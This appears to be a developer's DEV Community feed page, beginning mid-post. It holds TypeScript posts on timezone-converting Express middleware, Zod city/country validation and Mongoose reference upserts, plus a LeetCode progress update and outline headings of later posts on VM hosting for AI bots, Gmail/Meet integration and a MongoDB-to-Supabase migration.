DateTime Libraries: We compared moment.js with luxon by DateTime, deciding on luxon for its modern API and moment-timezone for its extensive features and community support.

Part 3: Developing the Middleware

Middleware Initialization and Request Interface Extension

We start by setting up our middleware and extending the Express Request interface to include a clientTimezone property.

import { NextFunction, Request, Response } from "express";
import { DateTime } from "luxon";
import moment from "moment-timezone";
import { Types } from "mongoose";
const geoip = require("geoip-lite");

declare module "express-serve-static-core" {
  interface Request {
    clientTimezone?: string;
  }
}

This setup allows us to later inject the detected timezone into every request, ensuring that all subsequent operations can consider the user's local timezone.

Recursive Date Conversion Function

This function is crucial for traversing and converting all dates in our response objects to the appropriate timezone.

function convertDates(
  obj: any,
  timezone: string,
  depth: number = 0,
  maxDepth: number = 5
): any {
  if (depth > maxDepth || obj === null || typeof obj !== "object") {
    return obj;
  }
  if (Array.isArray(obj)) {
    return obj.map(item => convertDates(item, timezone, depth + 1, maxDepth));
  }
  const newObj: any = {};
  for (const key in obj) {
    if (Object.prototype.hasOwnProperty.call(obj, key)) {
      if (key.startsWith("$") || key.startsWith("__")) {
        continue;
      }
      const value = obj[key];
      if (value instanceof Date) {
        newObj[key] = DateTime.fromJSDate(value).setZone(timezone).toISO();
      } else if (typeof value === "string" && moment(value, moment.ISO_8601, true).isValid()) {
        newObj[key] = moment(value).tz(timezone).format();
      } else {
        newObj[key] = convertDates(value, timezone, depth + 1, maxDepth);
      }
    }
  }
  return newObj;
}

Timezone Detection and Response Formatting Middleware

This middleware detects the client's timezone and formats all outgoing responses accordingly.

export const timezoneResponseMiddleware = (
  req: Request,
  res: Response,
  next: NextFunction
) => {
  let timezone = req.headers["x-timezone"] as string;
  if (!timezone) {
    const ip = req.ipAddress || req.connection.remoteAddress;
    const geo = geoip.lookup(ip);
    timezone = geo && geo.timezone ? geo.timezone : "UTC";
  }
  req.clientTimezone = timezone || "UTC";
  const oldJson = res.json.bind(res);
  res.json = function (data: any): Response {
    if (data && typeof data.toObject === "function") {
      data = data.toObject();
    }
    if (Array.isArray(data)) {
      data = data.map(item => item && typeof item.toObject === "function" ? item.toObject() : item);
    }
    const convertObjectIds = (obj: any) => {
      for (const key in obj) {
        if (Object.prototype.hasOwnProperty.call(obj, key)) {
          if (obj[key] instanceof Types.ObjectId) {
            obj[key] = obj[key].toString();
          } else if (typeof obj[key] === "object" && obj[key] !== null) {
            convertObjectIds(obj[key]);
          }
        }
      }
    };
    convertObjectIds(data);
    const convertedData = convertDates(data, req.clientTimezone as string);
    return oldJson(convertedData);
  };
  next();
};

Part 4: Challenges and Troubleshooting

We faced various challenges, such as handling nested objects and arrays, ensuring performance efficiency, and debugging timezone misalignments. We tackled these by setting a maximum recursion depth, using efficient libraries, and incorporating extensive logging for debugging.

Part 5: Lessons Learned

This project underscored the importance of handling datetime values correctly across different time zones. We learned valuable lessons in API design, user experience considerations, and the robust handling of datetime values in a distributed system.

Conclusion

Building a timezone-aware API is crucial for global applications. The solutions we implemented effectively addressed the initial challenges, providing a robust framework for future projects. We encourage developers to adapt these strategies to enhance their applications' usability and correctness.

Do post a comment if it was cool.

Data Structures and Algorithms: 500 Questions Down, 60 More Hards targeted in next 30 Days! 🚀

Prince Raj — Fri, 23 Aug 2024 15:23:30 +0000

Four years ago, I embarked on a journey to master Data Structures and Algorithms (DSA). At the time, I didn’t realize the impact it would have on my coding skills, problem-solving ability, and overall mindset as a developer. What started as a way to improve my fundamentals has turned into an obsession with breaking down problems and solving them effectively.

Three years ago, I discovered LeetCode—a platform that would become my primary battleground. Through hundreds of coding problems, countless hours of debugging, and a ton of 'aha!' moments, I’ve learned more than I ever thought possible.

500 Questions Completed 🏆

Today, I’m proud to say I’ve completed 500 LeetCode problems. Here's a breakdown of my progress so far:

Easy: 146 questions
Medium: 281 questions
Hard: 73 questions

It’s been an incredible journey of growth. Each category of problems has taught me something different:

Easy problems: Helped me cement my understanding of basic data structures and algorithms. These were the building blocks that allowed me to develop a strong foundation.
Medium problems: This is where I truly started to see growth. These problems challenged me to apply my knowledge in more complex and practical scenarios. I began to see patterns emerge and learned how to optimize my solutions.
Hard problems: These are a different beast altogether. Every hard problem was like solving a puzzle that initially seemed insurmountable. However, as I worked through them, I learned the importance of patience, persistence, and taking an analytical approach to break down seemingly impossible problems.

What’s Next: Going Full Rogue for the Next 30 Days 🔥

While I’ve accomplished a lot so far, I’m far from done. My goal for the next 30 days is to go all-in and push myself to the limit. Here’s my plan:

Complete 60 more Hard Problems: Tackling hard problems has been incredibly rewarding, and I want to finish another 60 before the month is over. I know it’s going to be tough, but I’m ready to face the challenge head-on.
Revise What I’ve Learned: With 500 questions under my belt, it’s important to revisit and reinforce the concepts I’ve already covered. I plan to spend time reviewing my previous solutions, refining my understanding, and ensuring I have a solid grasp on the different approaches I’ve used.
Focus on Weak Areas: As part of my revision, I’ll be identifying areas where I’ve struggled in the past and dedicating time to improve. Whether it’s dynamic programming, graph theory, or advanced tree problems, I want to make sure I’m well-rounded across all topics.

Why I’m Doing This

So why push myself so hard? For me, DSA isn’t just about getting better at solving coding problems—it's about becoming a better thinker. It’s about improving the way I approach complex situations, both in code and in life. Mastering these concepts gives me the confidence that I can tackle any technical challenge thrown my way.

In addition, I’m also preparing for future career opportunities. Companies increasingly prioritize strong problem-solving skills, and having this experience under my belt gives me a competitive edge.

The Final Stretch

The next 30 days are going to be intense, but I’m excited for the challenge. I’m committed to going full rogue—no distractions, just pure focus on mastering these final 60 hard problems and revisiting everything I’ve learned so far.

I’ll be sharing updates on my progress, along with any insights I gain along the way. If you’re also on a DSA journey or looking to start one, feel free to follow along. We can motivate and learn from each other!

Stay tuned for updates—and if you want to check out my LeetCode profile, here it is: Starkprince. Let’s do this!

TL;DR: After four years of doing DSA and three years of grinding on LeetCode, I’ve solved 500 problems—146 easy, 281 medium, and 73 hard. Over the next 30 days, I’m going full rogue to finish 60 more hard problems and revise everything I’ve learned so far.

Let’s crush it together! 💪

Data Validation in Your Backend: A Practical Guide

Prince Raj — Thu, 22 Aug 2024 23:33:56 +0000

Data validation is one of the most crucial steps in building a robust backend system ensuring data flowing through the system is accurate, consistent, and adheres to predefined formats and preventing incorrect or malicious input from causing havoc down the line.

In this article, I'll walk you through a concrete example of how to leverage TypeScript with Zod, an excellent validation library, to handle city and country validation in a backend system. We'll dive into how we can use enums, schema validation, and input transformation to ensure the data is consistent and correctly structured before persisting it into the database.

Why is Data Validation Important?

Data validation is the process of ensuring that the input data conforms to the expected structure and content. Failing to validate data can lead to security vulnerabilities, bugs, and data integrity issues. For example, imagine a system that accepts user details including location. Without proper validation, the system might accept an invalid city, which could cause downstream errors, such as failed transactions or mismatched reports.

By introducing data validation:

Prevention of Bad Data: Invalid or malicious data gets filtered out before it can impact your system.
Improved User Experience: Validation can prevent users from submitting incorrect information, providing meaningful feedback.
Enhanced Security: Proper validation reduces the risk of injection attacks or other vulnerabilities.
Consistent Data Integrity: The data stored in your system remains structured and accurate, minimizing bugs.

Now, let's look at how we can implement validation for country and city data using Zod.

Real-World Use Case: Validating City and Country

In our application, we want to validate that the city provided by the user belongs to the selected country and, in the process, convert city codes (AITA codes) to their full names before storing them in the database. Here's how we can achieve that with Zod.

Setting Up Your Enums and Schema

First, we define the list of countries and their respective cities using AITA codes. We create a CountryEnum to represent the list of valid countries and a countryCityMap object to store the mapping between AITA codes and full city names for each country.

export enum CountryEnum {
  Afghanistan = "Afghanistan",
  Albania = "Albania",
  Algeria = "Algeria",
  Andorra = "Andorra",
  Angola = "Angola",
  // More countries...
}

Next, we define a `countryCityMap` that contains country names as keys and a nested map of AITA codes to city names as values.

export const countryCityMap: Partial<Record<CountryEnum, Record<string, string>>> = {
  Denmark: {
    AAR: "Aarhus",
    AAL: "Aalborg",
    BLL: "Billund",
    CPH: "Copenhagen",
    // More cities...
  },
  // More countries and their cities...
};

Building the Zod Schema for Validation

Now, we build the Zod schema for our site address. This schema will validate that the city provided by the user exists within the selected country, and then it will transform the city code into the full city name before storing it in the database.

import { z } from 'zod';

export const siteAddressZodSchema = z
  .object({
    cageNumber: z.string().optional(),
    coloDetails: z.string().optional(),
    country: z.nativeEnum(CountryEnum),
    city: z.string().min(1, "City cannot be blank"),
  })
  .refine(
    (data) => {
      const cityMap = countryCityMap[data.country];
      return cityMap && Object.keys(cityMap).includes(data.city);
    },
    {
      message: "Selected city does not belong to the selected country",
      path: ["city"],
    }
  )
  .transform((data) => {
    // Convert city code to the full city name after validation
    const cityName = countryCityMap[data.country]?.[data.city];
    return {
      ...data,
      city: cityName, // Replace AITA code with the city name
    };
  });

How This Works:

Defining the Schema:
- We define an object schema using Zod's z.object() method that contains the fields cageNumber, coloDetails, country, and city.
- The country field must match one of the entries in the CountryEnum.
- The city field is a string that cannot be blank.
Refining the City-Country Relationship:
- We use the .refine() method to ensure that the selected city exists within the provided country. The function checks if the city's AITA code is found in the corresponding country’s city map.
Transforming the Input:
- After validation, we use .transform() to replace the AITA code with the full city name. This ensures that the data stored in the database is user-friendly and standardized.

Example Input and Output

Let’s consider the following input:

const siteAddress = {
  cageNumber: "123",
  coloDetails: "abc",
  country: CountryEnum.Denmark,
  city: "CPH",
};

This input represents a site located in Copenhagen, Denmark. The city is provided as the AITA code CPH. After passing through the schema validation and transformation, the output will be:

{
  cageNumber: '123',
  coloDetails: 'abc',
  country: 'Denmark',
  city: 'Copenhagen'
}

The system has validated that CPH is a valid city code for Denmark and then converted it into its full city name, Copenhagen.

Best Practices for Implementing Data Validation

Here are a few best practices to keep in mind when implementing data validation in your backend:

Fail Fast: Validate your data as early as possible. Catching invalid data before it enters your system prevents errors from propagating.
Use Meaningful Error Messages: Provide clear and actionable feedback for invalid input, helping users correct their mistakes quickly.
Keep Validation Logic Close to the Data: Where possible, enforce validation rules at the schema level, ensuring they are applied consistently across the system.
Leverage Enums and Constants: Use enums and constants to restrict values to a predefined set, reducing the likelihood of invalid inputs.
Centralize Validation: Maintain validation rules in a single place, such as with Zod schemas. This keeps your code clean, consistent, and easier to maintain.

Conclusion

Data validation is a vital step in creating reliable and secure applications. Here we’ve demonstrated how to validate city and country data using TypeScript and Zod, ensuring that the data stored in the database is accurate and meaningful.

Implementing strong validation early in the data pipeline helps prevent downstream bugs and ensures data integrity throughout your system. Whether you’re building a small API or a complex microservices architecture, robust data validation will protect your backend from a range of issues, including security vulnerabilities and data inconsistency.

DO COMMENT YOUR THOUGHTS ON IT :)

Enhancing Mongoose Reference Handling in Node.js

Prince Raj — Thu, 15 Aug 2024 17:33:24 +0000

Working with Mongoose in Node.js is generally very straight forward but can get tricky when we need to handle complex nested structures with references across models. I recently built a function that dynamically processes these references within Mongoose schemas, handles indexed fields, and even manages nested objects and arrays efficiently. In this post, I’ll Walk you through this robust solution, which can significantly streamline your codebase and improve data integrity.

The Challenge

When creating a Mongoose schema with references to other models, it’s common to encounter complex structures where:

References are deeply nested across multiple levels of your data.
Arrays contain references to other models.
Indexed fields must be respected to avoid duplication and enforce uniqueness.
Upserts (update or insert) are needed to avoid creating duplicate documents.

Handling all of this manually can be error-prone and cumbersome. This led me to design a utility function that automatically processes references, validates against indexed fields, and dynamically handles nested structures.

The Solution

Below is the detailed implementation of this utility. It tackles the aforementioned challenges and allows you to effortlessly process complex structures when inserting or updating documents.

Core Utility Functions

These functions are the backbone of our solution. They help identify whether a field is a reference, detect indexed fields, and handle different data types (ObjectId, arrays, nested objects, etc.).


function isSchemaTypeArray(schemaType: any): schemaType is Schema.Types.Array {
  return schemaType instanceof Schema.Types.Array;
}

function isSchemaTypeObjectId(
  schemaType: any
): schemaType is Schema.Types.ObjectId {
  return schemaType instanceof Schema.Types.ObjectId;
}

function isRefField(schemaType: {
  options: any;
  caster: { options: any };
}): boolean {
  if (
    isSchemaTypeObjectId(schemaType) &&
    schemaType.options &&
    typeof schemaType.options.ref === "string"
  ) {
    return true;
  }

  if (
    isSchemaTypeArray(schemaType) &&
    isSchemaTypeObjectId(schemaType.caster) &&
    schemaType.caster.options &&
    typeof schemaType.caster.options.ref === "string"
  ) {
    return true;
  }

  return false;
}

Utility function to get reference fields and indexed fields from a schema


export function getReferenceFields(schema: Schema): string[] {
  const refFields: string[] = [];
  schema.eachPath((path, type) => {
    if (isRefField(type)) {
      refFields.push(path);
    }
  });
  return refFields;
}


export function getIndexedFields(schema: Schema): string[] {
  const indexes = schema.indexes();
  const indexedFields: string[] = [];

  indexes.forEach((index: any) => {
    const fields = Object.keys(index[0]);
    indexedFields.push(...fields);
  });

  return indexedFields;
}

The Main Function: processReferences

This function takes the incoming data (e.g., req.body), the Mongoose schema, and a list of models. It recursively processes references, handles nested structures, and respects indexing rules to avoid duplicates.


interface ModelSchemaEntry {
  model: Model<any>;
  schema: Schema;
}

export async function processReferences(
  data: any,
  schema: Schema,
  models: { [key: string]: ModelSchemaEntry },
  userId: string | undefined = undefined
): Promise<any> {
  const referenceFields = getReferenceFields(schema);

  for (const field of referenceFields) {
    const modelEntry = models[field];
    if (!modelEntry) {
      console.error(`No model found for field: ${field}`);
      continue;
    }
    const { model, schema: fieldSchema } = modelEntry;

    if (Array.isArray(data[field])) {
      const indexedFields = getIndexedFields(fieldSchema);
      for (let i = 0; i < data[field].length; i++) {
        const item = data[field][i];
        if (typeof item === "object" && !item._id) {
          await processNestedReferences(item, fieldSchema, models);

          const filter: any = {};
          indexedFields.forEach((indexField) => {
            if (item[indexField] !== undefined) {
              filter[indexField] = item[indexField];
            }
          });

          try {
            const existingDoc = await model.findOne(filter);
            if (existingDoc) {
              data[field][i] = existingDoc._id;
            } else {
              const newDoc = await model.create(item);
              data[field][i] = newDoc._id;
            }
          } catch (error) {
            console.error(
              `Error processing item in array for field ${field}:`,
              error
            );
          }
        } else if (typeof item === "string") {
          continue;
        }
      }

      const bulkOps = data[field].map((item: any) => ({
        updateOne: {
          filter: { _id: item },
          update: { $set: { _id: item } },
          upsert: true,
        },
      }));

      try {
        await model.bulkWrite(bulkOps);
      } catch (error) {
        console.error(`Error in bulk operation for field ${field}:`, error);
      }
    } else if (typeof data[field] === "object" && data[field] !== null) {
      await processNestedReferences(data[field], fieldSchema, models, userId);

      const indexedFields = getIndexedFields(fieldSchema);
      const query: any = {};

      indexedFields.forEach((indexField) => {
        if (data[field][indexField] !== undefined) {
          query[indexField] = data[field][indexField];
        }
      });

      try {
        const existingDoc = await model.findOne(query);

        if (existingDoc) {
          data[field] = existingDoc._id;
        } else {
          const doc = await model.create(data[field]);
          data[field] = doc._id;
        }
      } catch (error) {
        console.error(`Error processing document for field ${field}:`, error);
      }
    } else if (typeof data[field] === "string") {
      continue;
    }
  }

  if (userId) {
    data.createdBy = userId;
  }

  return data;
}

Recursively Processing Nested References

The processNestedReferences function handles cases where references are deeply nested, allowing you to build robust relationships across models with minimal effort.


async function processNestedReferences(
  data: any,
  schema: Schema,
  models: { [key: string]: ModelSchemaEntry },
  userId?: string
) {
  const referenceFields = getReferenceFields(schema);

  for (const field of referenceFields) {
    const modelEntry = models[field];
    if (!modelEntry) {
      console.error(`No model found for field: ${field}`);
      continue;
    }

    const { model, schema: fieldSchema } = modelEntry;

    if (Array.isArray(data[field])) {
      const indexedFields = getIndexedFields(fieldSchema);

      for (let i = 0; i < data[field].length; i++) {
        const item = data[field][i];
        if (typeof item === "object" && !item._id) {
          await processNestedReferences(item, fieldSchema, models);

          const filter: any = {};
          indexedFields.forEach((indexField) => {
            if (item[indexField] !== undefined) {
              filter[indexField] = item[indexField];
            }
          });

          try {
            const existingDoc = await model.findOne(filter);
            if (existingDoc) {
              data[field][i] = existingDoc._id;
            } else {
              const newDoc = await model.create(item);
              data[field][i] = newDoc._id;
            }
          } catch (error) {
            console.error(
              `Error processing item in array for field ${field}:`,
              error
            );
          }
        } else if (typeof item === "string") {
          continue;
        }
      }
    } else if (typeof data[field] === "object" && data[field] !== null) {
      await processNestedReferences(data[field], fieldSchema, models);

      const indexedFields = getIndexedFields(fieldSchema);
      const query: any = {};

      indexedFields.forEach((indexField) => {
        if (data[field][indexField] !== undefined) {
          query[indexField] = data[field][indexField];
        }
      });

      try {
        const existingDoc = await model.findOne(query);

        if (existingDoc) {
          data[field] = existingDoc._id;
        } else {
          const doc = await model.create(data[field]);
          data[field] = doc._id;
        }
      } catch (error) {
        console.error(`Error processing document for field ${field}:`, error);
      }
    } else if (typeof data[field] === "string") {
      continue;
    }
  }
}

How It All Comes Together

With this utility function, we can easily manage complex data structures with minimal effort. All we need to do is pass our req.body and models into processReferences. The function takes care of:

Handling ObjectId references (including nested references).
Managing arrays of objects with references.
Respecting indexed fields to avoid duplicate entries.
Automatically performing upserts based on indexed fields.

Conclusion

This solution has been a game-changer for me in handling complex Mongoose schemas. It abstracts away the repetitive tasks of checking for existing documents, handling nested structures, and ensuring data integrity. If you work with Mongoose frequently, I highly recommend implementing something similar in your codebase!

P.S: The earlier posted function was able to perform only Objects and ObjectId

Feel free to comment below if you have any questions or improvements.

Happy coding! ✌️

How to Efficiently Process References in MongoDB with Mongoose

Prince Raj — Tue, 13 Aug 2024 10:57:15 +0000

Managing references in a MongoDB database has been challenging, especially when dealing with related documents and ensuring atomic updates. In this post, we'll explore how I created a robust function that processes references in a document using Mongoose, handling both updates and inserts (upserts) efficiently.

We'll be using Mongoose's bulkWrite operation to perform multiple updates or upserts in a single operation, ensuring high performance and consistency.

The Problem

With complex schemas, we often need to update or insert related documents based on unique fields, such as an email address, while maintaining the integrity of our data. This can be particularly challenging when the dataset grows or when handling arrays of related documents.

The Solution

Here's a function that processes fields in a given data object, updates existing documents, or creates new ones if they don't exist, using Mongoose's bulkWrite. We'll handle scenarios where the field is an array or a single object and focus on a unique identifier, like an email address, to manage updates and upserts.

1. Defining Mongoose Schema

First, ensure that the Mongoose schema supports the operations we need. Here’s an example of a ContactDetail schema:

const contactDetailMongooseSchema = new Schema(
  {
    name: { type: String, required: true },
    email: { type: String, required: true, unique: true },
    phoneNumber: { type: String, required: true },
    createdAt: { type: Date, default: Date.now },
    updatedAt: { type: Date, default: Date.now },
    createdBy: { type: Schema.Types.ObjectId, ref: 'User' },
    updatedBy: { type: Schema.Types.ObjectId, ref: 'User' },
  },
  {
    timestamps: true,
  }
);

const ContactDetail = model('ContactDetail', contactDetailMongooseSchema);

2. Create the Processing Function

Function to get and processes references, using bulkWrite for efficiency:

import { Model, Schema, Types } from 'mongoose';

export function getReferenceFields(schema: Schema): string[] {
  const refFields: string[] = [];
  schema.eachPath((path, type) => {
    if (isRefField(type)) {
      refFields.push(path);
    }
  });
  return refFields;
}

export async function processReferences(
  data: any,
  schema: Schema,
  models: { [key: string]: Model<any> }
): Promise<any> {
  const referenceFields = getReferenceFields(schema);
  console.log('Reference fields:', referenceFields);

  for (const field of referenceFields) {
    console.log('Processing field:', field);
    const model = models[field];

    // Skip processing if no model is found
    if (!model) {
      console.error(`No model found for field: ${field}`);
      continue; 
    }

    if (Array.isArray(data[field])) {
      console.log('Processing array field:', field);

      // Prepare bulk operations, filter by email
      const bulkOps = data[field].map((item: any) => ({
        updateOne: {
          filter: { email: item.email }, // Use email to filter
          update: { $set: item },
          upsert: true,
        },
      }));

      // Ensure the model has the bulkWrite function
      if (typeof model.bulkWrite !== 'function') {
        console.error(`bulkWrite is not a function on model for field: ${field}`);
        continue;
      }

      console.log('Executing bulk operations...');

      // Execute bulk operations
      try {
        const result = await model.bulkWrite(bulkOps);
        console.log('Bulk write result:', result);

        // Extract upserted IDs
        const upsertedIds = result.upsertedIds.map((upserted: any) => upserted._id);

        // Fetch updated or upserted documents
        const updatedDocs = await model.find({
          email: { $in: data[field].map((item: any) => item.email) },
        });

        console.log('Updated documents:', updatedDocs);

        // Update the data with the IDs of the processed documents
        data[field] = updatedDocs.map((doc: any) => doc._id);
      } catch (error) {
        console.error('Error in bulk operation', error);
      }

      console.log('Bulk operations executed successfully.');
    } else if (typeof data[field] === 'object' && data[field] !== null) {
      console.log('Processing object field:', field);

      // Ensure the model has the methods
      if (typeof model.findOneAndUpdate !== 'function') {
        console.error(`findOneAndUpdate is not a function on model for field: ${field}`);
        continue;
      }

      // Update or create the document
      try {
        const doc = await model.findOneAndUpdate(
          { _id: data[field]._id || new Types.ObjectId() },
          data[field],
          { upsert: true, new: true }
        );

        console.log('Document processed:', doc);

        // Update the data with the ID of the processed document
        data[field] = doc._id;
      } catch (error) {
        console.error('Error processing document:', error);
      }
    }
  }
  return data;
}

3. Handling Updates and Inserts

Filter by Email: We are using email address (will try to create generics for this too) as the unique identifier for each ContactDetail to determine if an entry should be updated or inserted.
Use bulkWrite: This allows us to perform multiple operations in one go, reducing the number of database calls and improving performance.

Conclusion

By using Mongoose's bulkWrite operation and a unique field like an email, we can efficiently manage updates and upserts for related documents. This approach is scalable and maintains data integrity, making it a valuable tool for any MongoDB application.

Do post a comment on how cool it was to you.

DEV Community: Prince Raj

VM vs Mac Mini for AI Bots: The Viral, No‑Fluff Guide (2026)

TL;DR (For Humans + LLMs)

Why a Linux VM Beats a Mac Mini (Most of the Time)

1) Scalability

2) Remote Access

3) Cost Efficiency

4) Automation‑Ready

The Optimal VM Setup (For OpenClaw + Browser Control)

✅ Quick Install (Native OpenClaw)

If You Need Browser Control (Chrome Extension)

Why Not a Mac Mini?

Security Checklist (Do This or Regret It)

FAQ (Scraper‑Friendly)

Final Verdict

Building Real-Time Gmail Integration with Google Meet Scheduling in Go

The Challenge

Architecture Overview

Part 1: Gmail Push Notifications

Setting Up Pub/Sub

The historyId Gotcha

History-Based Incremental Sync

Watch Renewal

Part 2: Domain-Wide Delegation for Calendar

JWT Bearer Token Flow

Creating Meetings with Meet Links

Part 3: Availability Checking

Key Lessons Learned

Conclusion

From Documents to Relations: A Complete Guide to Migrating MongoDB to Supabase at Scale

TL;DR

Table of Contents

Why We Chose Supabase

The Business Case

The Challenge: Document vs Relational Paradigm

MongoDB's Document Model

Supabase's Relational Model

Architecture Overview

Phase 1: Schema Creation

Phase 2: Data Migration

Phase 3: Constraints & Security

Normalization Strategies

First Normal Form: Eliminating Arrays

Second Normal Form: Extracting Nested Objects

Third Normal Form: Transitive Dependencies

Handling Dynamic/Schemaless Data

Data Type Mapping

Special Handling: IDs

Special Handling: Dates

Special Handling: Binary/Files

The Transformation Engine

BSON Reader Layer

Connecting to Supabase for Migration

Recursive Flattening Algorithm

Batch Processing Strategy

Handling Complex Patterns

Graph Structures (Workflow Nodes/Edges)

Multi-Tenant Architecture

Audit Trail Preservation

Row Level Security for Multi-Tenancy

Basic Tenant Isolation Pattern

Policy Patterns by Operation

Role-Based Access Within Tenants

Service Role Bypass for Migration

Post-Migration: Verify RLS

Indexing Strategy

Index Categories

Index Creation Script Pattern

Index Count by Category

Foreign Key Strategy

Phased Constraint Creation

Orphan Cleanup

Cascade Strategy Decision Matrix

Leveraging Supabase Features

Realtime Subscriptions

Enable Realtime for Tables

Supabase Client for Application Code

Edge Functions for Complex Operations

Database Functions for Complex Queries

Storage Integration